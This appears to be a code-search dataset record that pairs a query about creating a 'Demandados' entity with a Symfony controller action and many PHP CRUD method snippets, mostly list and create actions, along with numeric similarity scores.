'JazzywebAulasMentorAlimentosBundle:Default:mostrarAlimentos.html.twig',\n $params\n );\n }", "public function index()\n {\n return $this->showList(ObjectMuseum::where('deleted','=',ObjectMuseum::ACTIVE)->get());\n }", "public function index()\n {\n $departamentos = Departamento::all();\n return view('list-departamento', compact('departamentos'));\n }", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n $user = $this->getUser();\n // exit(\\Doctrine\\Common\\Util\\Debug::dump($user));\n $pobox = $user->getPobox();\n if (!$pobox) {\n throw $this->createNotFoundException('Usted no es cliente...');\n } \n $customer = $pobox->getCustomer();\n $entities = $em->getRepository('NvCargaBundle:Payment')->findByCustomer($customer);\n\n return array(\n 'entities' => $entities,\n );\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $deliveries = $em->getRepository('DietpackBundle:Delivery')->findAll();\n\n return $this->render('delivery/index.html.twig', array(\n 'deliveries' => $deliveries,\n ));\n }", "public function deducibles(){\n \treturn $this->hasMany('Modules\\Plan\\Entities\\Deducible','plan_id'); // this matches the Eloquent model\n }", "public function showEntities()\n {\n return Entity::paginate(10);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('GestionFraisBundle:Visiteur')->findAll();\n\n return $this->render('GestionFraisBundle:Visiteur:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $maitresDeStages = $em->getRepository('AppBundle:MaitresDeStage')->findAll();\n\n return $maitresDeStages;\n }", "public function getListDemandesEnvoyees($idUser){\n\t\t$tabDemandesEnvoyees = array();\n\t\t$q = $this->pdo->prepare('SELECT * FROM demande WHERE idUtilisateur = :idUtilisateur');\n\t\t$q->bindValue(':idUtilisateur', $idUser, PDO::PARAM_INT);\n\t\t$q->execute();\n\t\twhile ($donnee = $q->fetch(PDO::FETCH_ASSOC)) {\n\t\t\t$tabDemandesEnvoyees[] = new Demande($donnee);\n\t\t}\n\t\treturn $tabDemandesEnvoyees;\n\t}", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DGPlusbelleBundle:SesionVentaTratamiento')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n $agency = $this->getUser()->getAgency();\n $maincompany = $this->getUser()->getMaincompany();\n $type = $agency->getType();\n\n if ($type == \"MASTER\") {\n $entities = $em->getRepository('NvCargaBundle:Guide')->createQueryBuilder('g')\n ->where('g.bill IS NULL')\n ->andwhere('g.maincompany = :maincompany')\n ->setParameters(array('maincompany' => $maincompany))\n ->orderBy('g.number', 'ASC')\n ->setMaxResults(1000)\n ->getQuery()\n ->getResult();\n $agencies = $em->getRepository('NvCargaBundle:Agency')->findByMaincompany($maincompany);\n } else {\n $entities = $em->getRepository('NvCargaBundle:Guide')->createQueryBuilder('g')\n ->where('g.agency = :ag' )\n ->andwhere('g.bill IS NULL')\n ->setParameters(array('ag' => $agency))\n ->orderBy('g.number', 'ASC')\n ->setMaxResults(1000)\n ->getQuery()\n ->getResult();\n $agencies = null;\n }\n return array(\n 'entities' => $entities,\n 'agencies' => $agencies,\n );\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $pedidos = $em->getRepository('AppBundle:Pedido')->findAll();\n\n return $this->render('pedido/index.html.twig', array(\n 'pedidos' => $pedidos,\n ));\n }", "public function show(Detallepagos $detallepagos)\n {\n //\n }", "public function getEntities()\n {\n return $this->getRepository()->findBy([], ['discipline' => 'ASC']);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('ArmensaViajesBundle:Viaje')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function indexAction() {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('CMSBundle:Client')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('casamunozempresaBundle:Sucursal')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function indexAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n $entradasManager = $this->get('app.entradas');\n $entrada = $entradasManager->buscar($id);\n \n $ejerciciosManager = $this->get('app.ejercicios');\n $iva = $ejerciciosManager->obtenerIVAPorAlmacenYPeriodo();\n $detallesManager = $this->get('app.entrada_detalles');\n $entities = $detallesManager->listaArticulosPorEntrada($entrada->getId(), $iva);\n \n return $this->render('/Admin/EntradaDetalles/index.html.twig', array(\n 'entities' => $entities,\n 'entrada' => $entrada,\n ));\n }", "public static function index()\n {\n return Comida::all();\n }", "public function getAllEntities();", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('ActivosBundle:MultaActivos')->findAll();\n\n $deleteForms = array();\n\n foreach($entities as $entity){\n $deleteForms[$entity->getId()] = $this->createDeleteForm($entity->getId())->createView();\n }\n\n return array(\n 'entities' => $entities,\n 'delete_forms' => $deleteForms\n );\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('AppWebBundle:Catalogo')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('AdminBundle:FuncionarioEmpresa')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('AcmeKindergartenBundle:AttendanceEmployed')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('AdminCommonBundle:Configuracao')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('TapiocaDesignClassLiveGnvBundle:Performance')->findAll();\n\n return array(\n 'entities' => $entities,\n );\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $fraturas = $em->getRepository('AppBundle:Fratura')->findAll();\n\n return $this->render('fratura/index.html.twig', array(\n 'fraturas' => $fraturas,\n ));\n }", "public function index()\n {\n $comercioDespachos = ComercioDespacho::with(['status'])\n ->get();\n \n return $comercioDespachos;\n\n }", "public function index()\n {\n $despachos = Despacho::orderBy('CodDespacho', 'desc')->paginate(15);\n $usuarios = User::all();\n $estados = Estado::all();\n return view('despacho.lista_despachos', compact('despachos', 'usuarios', 'estados'));\n }", "public function index()\n {\n $mascotas = Mascota::all();\n return $this->showAll($mascotas);\n\n }", "public function getAllSalesMan(){\n\t\t$sql = \"SELECT * FROM vendedor\";\n\t\treturn $this->Model->getData($sql);\n\t}", "function set_deputados() {\n\n\t\ttry {\n\n\t\t\t$dadosAbertosClient = new dadosAbertosClient;\n\n\t\t\t// legislatura de valor 18 foi definida pois eh o periodo onde estao os deputados vigentes no ano de 2017\n\t\t\t$listaDeputados = $dadosAbertosClient->listaDeputadosPorLegislatura(18);\n\n\t\t\tforeach ($listaDeputados as $deputado) {\n\n\t\t\t\t$deputado = Deputado::findByIdDeputado($deputado['id']);\t\n\n\t\t\t\tif($deputado)\n\t\t\t\t\tcontinue;\n\n\t\t\t\t$deputadoData = [\n\t\t\t\t\t'id_deputado' => $deputado->id,\n\t\t\t\t\t'nome' => $deputado->nome,\n\t\t\t\t\t'partido' => $deputado->partido,\n\t\t\t\t\t'tag_localizacao' => $deputado->tagLocalizacao\n\t\t\t\t];\n\n\t\t\t\tDeputado::create($deputadoData);\n\t\t\t}\n\n\t\t} catch (Exception $e) {\n\t\t\techo $e->getMessage();\n\t\t}\n\n\t}", "public function all_desde($desde, $hasta, $codserie = FALSE, $codagente = FALSE, $codcliente = FALSE, $estado = FALSE, $codpago = FALSE, $codalmacen = FALSE)\n {\n $faclist = array();\n $sql = \"SELECT * FROM \".$this->table_name.\" WHERE fecha >= \".$this->var2str($desde).\" AND fecha <= \".$this->var2str($hasta);\n if($codserie)\n {\n if ($codserie==\"AXIXFY\"){\n $sql .= \" AND codserie IN ('A','XI','XF','Y','G','H','J','K')\";\n } else if ($codserie==\"FFBFC\"){\n $sql .= \" AND codserie IN ('F','FC','FB')\";\n } else if ($codserie==\"ACDEXIXFY\"){\n $sql .= \" AND codserie IN ('A','XI','XF','Y','C','D','E')\";\n } else {\n $sql .= \" AND codserie = \".$this->var2str($codserie);\n } \n }\n if($codagente)\n {\n $sql .= \" AND codagente = \".$this->var2str($codagente);\n }\n if($codcliente)\n {\n $sql .= \" AND codcliente = \".$this->var2str($codcliente);\n }\n if($estado)\n {\n if($estado == 'pagada')\n {\n $sql .= \" AND pagada\";\n }\n else\n {\n $sql .= \" AND pagada = false\";\n }\n }\n $sql .= \" ORDER BY fecha ASC, codigo ASC;\";\n //var_dump($sql); exit;\n $data = $this->db->select($sql);\n if($data)\n {\n foreach($data as $f)\n {\n $faclist[] = new \\factura_cliente($f);\n }\n }\n\n return $faclist;\n }", "public function index() {\n $empleados = $this->Empleados->find('all');\n $this->set(compact('empleados'));\n }", "public function getDados() {\n return $this->dados;\n }" ]
[ "0.7312509", "0.6764666", "0.6606799", "0.6468858", "0.6370359", "0.6365651", "0.6244785", "0.62343466", "0.6207583", "0.61843145", "0.61484814", "0.60975224", "0.60850936", "0.608386", "0.6025967", "0.60245115", "0.5992809", "0.5922535", "0.5893096", "0.58881754", "0.5872032", "0.5859621", "0.5853314", "0.58181536", "0.5799763", "0.5792034", "0.57873946", "0.57705736", "0.5768271", "0.5763313", "0.5750523", "0.57487327", "0.57409614", "0.5737537", "0.57290787", "0.5714099", "0.5713984", "0.5684908", "0.56701446", "0.5664807", "0.5662422", "0.56597435", "0.56591475", "0.5647221", "0.5641739", "0.5640766", "0.5636044", "0.5629295", "0.56249464", "0.56156147", "0.5611058", "0.5606595", "0.55996215", "0.5594358", "0.55913055", "0.55838984", "0.558311", "0.5582644", "0.5578563", "0.5578185", "0.5576608", "0.557219", "0.5569866", "0.5566398", "0.5563958", "0.55522466", "0.55406535", "0.55190504", "0.551602", "0.551389", "0.55131835", "0.55116224", "0.5510942", "0.55064946", "0.54962873", "0.5491922", "0.5490771", "0.548654", "0.5483878", "0.5483086", "0.5476694", "0.5476531", "0.54752696", "0.54746556", "0.54744214", "0.54681635", "0.54669595", "0.54667544", "0.5456092", "0.54542017", "0.5451555", "0.5451544", "0.5449893", "0.54490715", "0.54480535", "0.54478437", "0.5443029", "0.54428434", "0.5442599", "0.54406923" ]
0.6710512
2
Creates a new Demandados entity.
public function newAction(Request $request) { $demandado = new Demandados(); $form = $this->createForm('BufeteBundle\Form\DemandadosType', $demandado); $form->handleRequest($request); if ($form->isSubmitted() && $form->isValid()) { $em = $this->getDoctrine()->getManager(); $em->persist($demandado); $em->flush(); return $this->redirectToRoute('demandados_show', array('id' => $demandado->getIdDemandado())); } return $this->render('demandados/new.html.twig', array( 'demandado' => $demandado, 'form' => $form->createView(), )); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function createAction(Request $request) {\n\n $user = $this->getUser();\n $session = $this->get('session');\n $session->set('menu', 'Admin');\n $session->set('controller', 'Demande');\n $session->set('fonction', 'create');\n $em = $this->get('doctrine')->getManager('die');\n\n $entity = new Demande();\n\n $form = $this->createForm(new DemandeType(), $entity);\n $form->handleRequest($request);\n\n if ($form->isValid()) {\n\n $Organisme = $em->getRepository('AeagDieBundle:Organisme')->find($entity->getOrganisme()->getId());\n\n $Theme = $em->getRepository('AeagDieBundle:Theme')->find($entity->getTheme()->getId());\n\n $SousTheme = $em->getRepository('AeagDieBundle:SousTheme')->findOneBy(array('theme' => $Theme->getId()));\n\n $departement = $entity->getDept();\n\n $entity->setDept($departement->getLibelle());\n $entity->setOrganisme($Organisme->getOrganisme());\n $entity->setTheme($Theme->getTheme());\n $entity->setSousTheme($SousTheme->getSousTheme());\n $entity->setDateCreation(new \\Datetime());\n $date = new \\Datetime();\n $date->add(new \\DateInterval('P' . $SousTheme->getEcheance() . 'D'));\n $entity->setDateEcheance($date);\n\n\n $em->persist($entity);\n $em->flush();\n\n $this->sendAccuseReception($entity, $Organisme, $Theme, $SousTheme);\n $this->sendDestinataire($entity, $Organisme, $Theme, $SousTheme);\n\n return $this->redirect($this->generateUrl('demande'));\n }\n\n return $this->render('AeagDieBundle:Demande:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView()\n ));\n }", "public function createAction()\n {\n\n if (!$this->request->isPost()) {\n return $this->dispatcher->forward(array(\n \"controller\" => \"deudas\",\n \"action\" => \"index\"\n ));\n }\n\n $deuda = new Deudas();\n\n $deuda->setIdDeudas($this->request->getPost(\"id_deudas\"));\n $deuda->setIdUsario($this->request->getPost(\"id_usario\"));\n $deuda->setDescripcion($this->request->getPost(\"descripcion\"));\n $deuda->setMontoTotal($this->request->getPost(\"monto_total\"));\n $deuda->setCantidadAbonos($this->request->getPost(\"cantidad_abonos\"));\n $deuda->setDuracionDeuda($this->request->getPost(\"duracion_deuda\"));\n $deuda->setFechaPrimerAcono($this->request->getPost(\"fecha_primer_acono\"));\n $deuda->setFechaUltimoAbono($this->request->getPost(\"fecha_ultimo_abono\"));\n $deuda->setEstado($this->request->getPost(\"estado\"));\n \n\n if (!$deuda->save()) {\n foreach ($deuda->getMessages() as $message) {\n $this->flash->error($message);\n }\n\n return $this->dispatcher->forward(array(\n \"controller\" => \"deudas\",\n \"action\" => \"new\"\n ));\n }\n\n $this->flash->success(\"deuda was created successfully\");\n\n return $this->dispatcher->forward(array(\n \"controller\" => \"deudas\",\n \"action\" => \"index\"\n ));\n\n }", "public function create($entidad) {\n\n if (parent::backendIsLogged()) {\n if (RoleService::getInstance()->hasRolePermission($_SESSION[\"roleID\"], __CLASS__ . \":\" . __FUNCTION__)) {\n\n try {\n $fecha = new DateTime();\n\n $entrega = new EntregaDirectaModel(null, $entidad[\"entidad\"], $fecha->format(\"Y/m/d\"));\n $id = EntregaDirectaRepository::getInstance()->add($entrega);\n foreach ($entidad[\"detalle_alimento_id\"] as $k => $v) {\n $alim = new AlimentoEntregaDirectaModel($id, $v, $entidad[\"cantidad\"][$k]);\n AlimentoEntregaDirectaRepository::getInstance()->add($alim);\n }\n $_SESSION[\"message\"] = new MessageService(\"createSuccess\", [\" envío inmediato \" . $data['razonSocial']]);\n } catch (Exception $e) {\n $_SESSION['message'] = $e->getMessage();\n }\n }\n }\n }", "public function actionCreate()\n {\n $model = new EnfermedadesSintomas([\n 'enfermedad_id' => Yii::$app->request->post('list'),\n 'sintoma_id' => Yii::$app->request->post('item'),\n ]);\n //dd($model->validate());\n if (!$model->save()) {\n throw new \\Exception('No se ha ppodido agregar el sintoma a la enfermedad', 1);\n }\n }", "public function createEntity();", "public function createAction(Request $request)\n {\n if($request->isXmlHttpRequest()) {\n $entity = new EntradaDetalles();\n $form = $this->createCreateForm($entity);\n $form->handleRequest($request);\n\n if ($form->isValid()) {\n $existenciasManager = $this->get('app.existencias');\n $em = $this->getDoctrine()->getManager(); \n \n $ejerciciosManager = $this->get('app.ejercicios');\n $ejercicio = $ejerciciosManager->buscarPorAlmacenYPeriodo(null, 'ecs.iva, ecs.tipoInventario', 'HYDRATE_ARRAY');\n //Iniciando la transacción para crear el detalle y aumentar la existencia\n //Consultar http://doctrine-orm.readthedocs.org/en/latest/reference/transactions-and-concurrency.html#approach-2-explicitly\n $em->getConnection()->beginTransaction();\n \n try\n { \n $em->persist($entity);\n $existenciasManager->aumentar($entity->getArticulo(), \n $entity->getEntrada()->getPrograma(), \n $entity->getCantidad(), \n $entity->getPrecio(),\n $ejercicio,\n $entity->getAplicaIva()\n );\n \n $em->flush();\n $em->getConnection()->commit();\n \n } catch (Exception $e) {\n $em->getConnection()->rollback();\n throw $e;\n } //Fin transacción\n \n $entradaDetallesManager = $this->get('app.entrada_detalles');\n $precioNuevo = $entradaDetallesManager->calcularPrecio($entity->getPrecio(), $ejercicio['iva'], $entity->getAplicaIva());\n $total = round($precioNuevo * $entity->getCantidad(), 2);\n $btnEditar = '<button type=\"button\" detalle-id=\"'.$entity->getId().'\" \n class=\"btn btn-xs btn-primary btn-editar-articulo\" data-toggle=\"tooltip\" \n title=\"Editar\"> <i class=\"fa fa-edit fa-fw\"></i></button>'; \n $registro = array(\n 'clave' => $entity->getArticulo()->getClave(),\n 'nombre' => Helpers::getSubString($entity->getArticulo()->getNombre()),\n 'cantidad' => number_format($entity->getCantidad(), 0, '.', ','),\n 'precio' => number_format($precioNuevo, 2, '.', ','),\n 'total' => number_format($total, 2, '.', ','),\n 'btn_editar' => $btnEditar,\n );\n $data = array('code' => 200, 'html' => '', \n 'message' => 'El artículo se agrego correctamente.',\n 'registro' => $registro,\n );\n } else {\n $data = array('code' => 500, 'html' => '', 'message' => 'Se encontraron errores al procesar el formulario.');\n }\n \n \n $response = new JsonResponse($data);\n return $response;\n \n }\n \n\n return $this->render('/Admin/EntradaDetalles/new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n //este deriva a un formulario, el cual debe tomar todos\n //los parametros del bache (nombre, fecha_y_hora, ubicacion, object_state_id (recuperarlo y pasarlo), estado(mostrar opciones y tomar el elegido)) y luego de todo esto llama a store para ser almacenado en la base de datos\n\n }", "public function create()\n {\n return view('deped.create');\n }", "public function actionCreate()\n\t{\n\t\t$model=new Departamento;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['Departamento']))\n\t\t{\n\t\t\t$model->attributes=$_POST['Departamento'];\n\t\t\tif($model->save())\n\t\t\t\t$this->redirect(array('view','id'=>$model->id_departamento));\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "public function actionCreate()\n {\n $model = new PedidoForm();\n\n if (Yii::$app->request->isPost) {\n\n $model->setAttributes(Yii::$app->request->post());\n\n if($model->save())\n {\n return $this->redirect(['view', 'id' => $model->pedido->id]);\n }\n\n }\n\n $query = Medicamento::find();\n\n $searchModel = new MedicamentoSearch();\n// $medicamentosDataProvider = $searchModel->search([]);\n $medicamentosDataProvider = new ActiveDataProvider([\n 'query' => $query,\n 'pagination' => [\n 'pageSize' => 3\n ]\n ]);\n\n return $this->render('create', [\n 'model' => $model,\n 'searchModel' => $searchModel,\n 'medicamentosDataProvider' => $medicamentosDataProvider,\n ]);\n }", "public function create()\n {\n return view('dashboard.deseases.create');\n }", "public function actionCreate()\r\n {\r\n $model = new TblDepartamentos();\r\n\r\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\r\n return $this->redirect(['index', 'id' => $model->id_departamento]);\r\n } else {\r\n return $this->render('create', [\r\n 'model' => $model,\r\n ]);\r\n }\r\n }", "public function create()\n {\n return view('dendas.create');\n }", "public function createAction()\n {\n $entity = new Marche();\n $request = $this->getRequest();\n $form = $this->createForm(new MarcheType(), $entity);\n $form->bindRequest($request);\n\n\n $em = $this->getDoctrine()->getEntityManager();\n $em->persist($entity);\n $em->flush();\n\n return $this->redirect($this->generateUrl('marche'));\n \n\n return array(\n 'entity' => $entity,\n 'form' => $form->createView()\n );\n }", "public function demandeCreation($alerte,$entity)\n {\n $alerte->setIntitule('Nouvelle demande');\n $alerte->setObjet('Une nouvelle demande a été faite');\n $alerte->setPIFEClassique($entity);\n $alerte->setRoute('pifeclassique_show');\n $alerte->setDateAlerte(new DateTime());\n $alerte->setOwnerId($entity->getId());\n }", "public function create($departamentoid)\n {\n \n }", "public function create($dados=NULL){\n\t\t\tif($dados != NULL){\n\t\t\t\t//inserindo no bd\n\t\t\t\t$this->db->insert('tbl_local', $dados);\n\t\t\t}\n\t\t}", "function Create($td_cod_tipo_denuncia,$de_descripcion,$de_contacto,$de_telefono,$de_nombre,$de_imagen){\n\n\t\t//Instanciamos y nos conectamos a la bd\n\t\t$Conexion = floopets_BD::Connect();\n\t\t$Conexion->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t\t//Crear el query que vamos a realizar\n\t\t$consulta = \"INSERT INTO denuncia (td_cod_tipo_denuncia,de_descripcion,de_contacto,de_telefono,de_nombre,de_fecha,de_imagen,de_estado) VALUES (?,?,?,?,?,now(),?,'Pendiente')\";\n\n\t\t$query = $Conexion->prepare($consulta);\n\t\t$query->execute(array($td_cod_tipo_denuncia,$de_descripcion,$de_contacto,$de_telefono,$de_nombre,$de_imagen));\n\n\t\tfloopets_BD::Disconnect();\n\t}", "public function create()\n {\n \n return view('departement.create');\n }", "function set_deputados() {\n\n\t\ttry {\n\n\t\t\t$dadosAbertosClient = new dadosAbertosClient;\n\n\t\t\t// legislatura de valor 18 foi definida pois eh o periodo onde estao os deputados vigentes no ano de 2017\n\t\t\t$listaDeputados = $dadosAbertosClient->listaDeputadosPorLegislatura(18);\n\n\t\t\tforeach ($listaDeputados as $deputado) {\n\n\t\t\t\t$deputado = Deputado::findByIdDeputado($deputado['id']);\t\n\n\t\t\t\tif($deputado)\n\t\t\t\t\tcontinue;\n\n\t\t\t\t$deputadoData = [\n\t\t\t\t\t'id_deputado' => $deputado->id,\n\t\t\t\t\t'nome' => $deputado->nome,\n\t\t\t\t\t'partido' => $deputado->partido,\n\t\t\t\t\t'tag_localizacao' => $deputado->tagLocalizacao\n\t\t\t\t];\n\n\t\t\t\tDeputado::create($deputadoData);\n\t\t\t}\n\n\t\t} catch (Exception $e) {\n\t\t\techo $e->getMessage();\n\t\t}\n\n\t}", "private function Create() {\r\n $cadastra = new Create;\r\n $cadastra->ExeCreate(self::Entity, $this->Data);\r\n if ($cadastra->getResult()):\r\n $this->Result = $cadastra->getResult();\r\n $this->Error = [\"O poste <b>{$this->Data['post_title']}</b> foi cadastrado com sucesso no sistema!\", WS_SUCCESS];\r\n endif;\r\n }", "public function createAction(Request $request)\n {\n $entity = new DevisSetup();\n $form = $this->createCreateForm($entity);\n $form->handleRequest($request);\n\n if ($form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($entity);\n $em->flush();\n\n return $this->redirect($this->generateUrl('devissetup_show', array('id' => $entity->getId())));\n }\n\n return array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n $invoice = new InvoiceEntity();\n $invoice->setNumber('019101910191091')\n ->setValue(100.90)\n ->setUrl('http://domain.com')\n ->setIssuanceDate('2017-09-15')\n ->setKey('POL9898AS');\n\n $tracking = new TrackingEntity();\n $tracking->setOrderId('00001010101AA')\n ->setStatus('in_route')\n ->setCode('BR800OPR5')\n ->setInvoice($invoice);\n\n $this->dm->persist($tracking);\n $this->dm->flush();\n }", "public function run() {\n\n Departamento::create(array('nombre' => 'Huila'));\n\n }", "public function createAction(Request $request)\n {\n $entity = new Departamento();\n $form = $this->createForm(new DepartamentoType(), $entity);\n $form->bind($request);\n\n if ($form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($entity);\n $em->flush();\n\n return $this->redirect($this->generateUrl('dashboard_departamento_show', array('id' => $entity->getId())));\n }\n\n return array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function createAction()\n {\n $entity = new Tema();\n $request = $this->getRequest();\n $form = $this->createForm(new TemaType(), $entity);\n $form->bindRequest($request);\n\n if ($form->isValid()) {\n $em = $this->getDoctrine()->getEntityManager();\n $em->persist($entity);\n $em->flush();\n\n return $this->redirect($this->generateUrl('tema_show', array('id' => $entity->getId())));\n }\n\n return array(\n 'entity' => $entity,\n 'form' => $form->createView()\n );\n }", "public function create($entity);", "public function createAction()\n {\n $entity = new Partido();\n $request = $this->getRequest();\n $form = $this->createForm(new PartidoType(), $entity);\n $form->bindRequest($request);\n\n if ( $form->isValid() ) {\n $entity->setResultadol(0); \n $entity->setResultadov(0);\n $em = $this->getDoctrine()->getEntityManager();\n $em->persist($entity);\n $em->flush();\n return $this->redirect($this->generateUrl('partido_show', array('id' => $entity->getId()))); \n }\n\n return array(\n 'entity' => $entity,\n 'form' => $form->createView()\n );\n }", "public function create()\n {\n return view('admin.deposits.create');\n }", "public function create()\n {\n return view('entidades.create');\n }", "public function postCreate(FornecedorRequest $request)\n {\n $fornecedor = new Fornecedor();\n $fornecedor -> user_id_created = Auth::id();\n $fornecedor -> nome = $request->nome;\n $fornecedor -> descricao = $request->descricao;\n\n $fornecedor -> save();\n }", "public function create(Entity $entity);", "public function test_user_can_create_despesa()\n {\n // Prepare User Login\n\n // $user = User::factory()->create();\n\n\n // $credentials = [\n // 'email' => $user->email,\n // 'password' => 'password'\n // ];\n\n // $response = $this->post(route('auth.user'), $credentials);\n\n\n // Create Despesa\n\n // $post = Despesas::factory()->create();\n\n // $data = $post->only(['descricao', 'valor', 'id_usuario']);\n // $data['data_criacao'] = Carbon::now();\n\n // Despesas::create($data);\n\n // $response = $this->post(route('new-post'), $data);\n\n // $response->assertStatus(302);\n }", "public function newAction() {\n\n $user = $this->getUser();\n if (!$user) {\n return $this->render('AeagDieBundle:Default:interdit.html.twig');\n }\n $session = $this->get('session');\n $session->set('menu', 'Admin');\n $session->set('controller', 'Demande');\n $session->set('fonction', 'index');\n $em = $this->get('doctrine')->getManager('die');\n\n $entity = new Demande();\n $form = $this->createForm(new DemandeType(), $entity);\n\n return $this->render('AeagDieBundle:Demande:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView()\n ));\n }", "public function actionCreate()\n\t{\n\t\t$model=new Pedido;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['Pedido']))\n\t\t{\n\t\t\t$model->attributes=$_POST['Pedido'];\n if (isset($_POST['ValoresDescriptor'])) {\n $model->addValores($_POST['ValoresDescriptor']);\n }\n\t\t\tif($model->save())\n\t\t\t\t$this->redirect(array('view','id'=>$model->id));\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "public function create()\n {\n //\n return view('estudiante.create');\n }", "public function create()\n {\n //return view('estados.create');\n }", "public function createAction($id) {\n $em = $this->getDoctrine()->getManager();\n $entity = new Extraitnaissances();\n $entity1 = $em->getRepository('BackOfficebackBundle:Demandeextrait')->find($id);\n\n $entity->setNom($entity1->getNom());\n $entity->setPrenom($entity1->getPrenom());\n $entity->setMere($entity1->getCinMere()->getExtrait()->getNom());\n $entity->setPere($entity1->getCinPere()->getExtrait()->getNom());\n $entity->setSexe(\"homme\");\n $entity->setVilleNaissance($entity1->getLieuNaissance());\n $entity->setEtatCivile($entity1->getEtat());\n $entity->setDateNaissance($entity1->getDateNaissance());\n \n $em->persist($entity);\n $em->flush();\n \n return $this->render('demandeextrait_show');\n\n\n return array(\n 'entity' => $entity,\n 'form' => $form->createView());\n }", "function create($entity);", "public function create()\n {\n return view('departaments.create');\n }", "public function newconcitaAction()\r\n {\r\n //Metodo para consulta nueva con el id de cita\r\n $entity = new Consulta();\r\n \r\n $em = $this->getDoctrine()->getManager();\r\n \r\n //Recuperación del id\r\n $request = $this->getRequest();\r\n $cadena= $request->get('id');\r\n //$identidad= $request->get('identidad');\r\n //Obtener el id del parametro\r\n $idEntidad = substr($cadena, 1);\r\n $cita = $em->getRepository('DGPlusbelleBundle:Cita')->find($idEntidad);\r\n //var_dump($cadena);\r\n //var_dump($cita);\r\n $tratamiento = $cita->getTratamiento();\r\n \r\n $entity->setTratamiento($tratamiento);\r\n $idpaciente=$cita->getPaciente()->getId();\r\n \r\n //Busqueda del paciente\r\n $paciente = $em->getRepository('DGPlusbelleBundle:Paciente')->find($idpaciente);\r\n //Seteo del paciente en la entidad\r\n $entity->setPaciente($paciente);\r\n \r\n $form = $this->createCreateForm($entity,2,$cadena);\r\n\r\n return array(\r\n 'entity' => $entity,\r\n 'form' => $form->createView(),\r\n );\r\n }", "public function create()\n {\n return view('ventas::admin.detalleventas.create');\n }", "public function newAction()\n {\n $entity = new Reserva();\n $user = $this->get('security.context')->getToken()->getUser();\n $em=$this->getDoctrine()->getManager();\n\t\t$status=$em->getRepository(\"VCBaseBundle:Status\")->find(1);\n\t\t$entity->setStatus($status);\n //$hoy= date(\"Y-m-d\");\n //$entity->setFechaServicio($hoy);\n if($this->get('security.context')->isGranted('ROLE_CUSTOMER')){\n $entity->setCliente($user->getCliente());\n }\n $form = $this->createForm(new ReservaType(), $entity);\n \n return array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n $centros = Centro::orderBy('descripcion', 'desc')->pluck('descripcion', 'id');\n\n\n return view('admin.sedes.create',compact('centros'));\n }", "public function createAction()\n {\n $entity = new Dotation();\n $request = $this->getRequest();\n $form = $this->createForm(new DotationType(), $entity);\n $form->bindRequest($request);\n\n if ($form->isValid()) {\n $em = $this->getDoctrine()->getEntityManager();\n $em->persist($entity);\n $em->flush();\n\n\t\t\t\t\t\t$this->get('session')->setFlash('notice', 'Dotation a été créé avec succès');\n return $this->redirect($this->generateUrl('dotation_show', array('id' => $entity->getId())));\n \n }\n\n return array(\n 'entity' => $entity,\n 'form' => $form->createView()\n );\n }", "public function create()\n {\n return view('admin.estados.create');\n }", "public function create()\n {\n return view('admin.estados.create');\n }", "public function create()\r\n\t{\r\n\t\t$accounts = Account::get();\r\n\t\treturn view('backend.deposits.create_deposit', compact('accounts'));\r\n\t}", "public function create() {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n //\n }", "public function create()\n {\n $produtos = Produtos::all();\n return view('estoque.create')->with('produtos', $produtos);\n }", "public function create()\n {\n 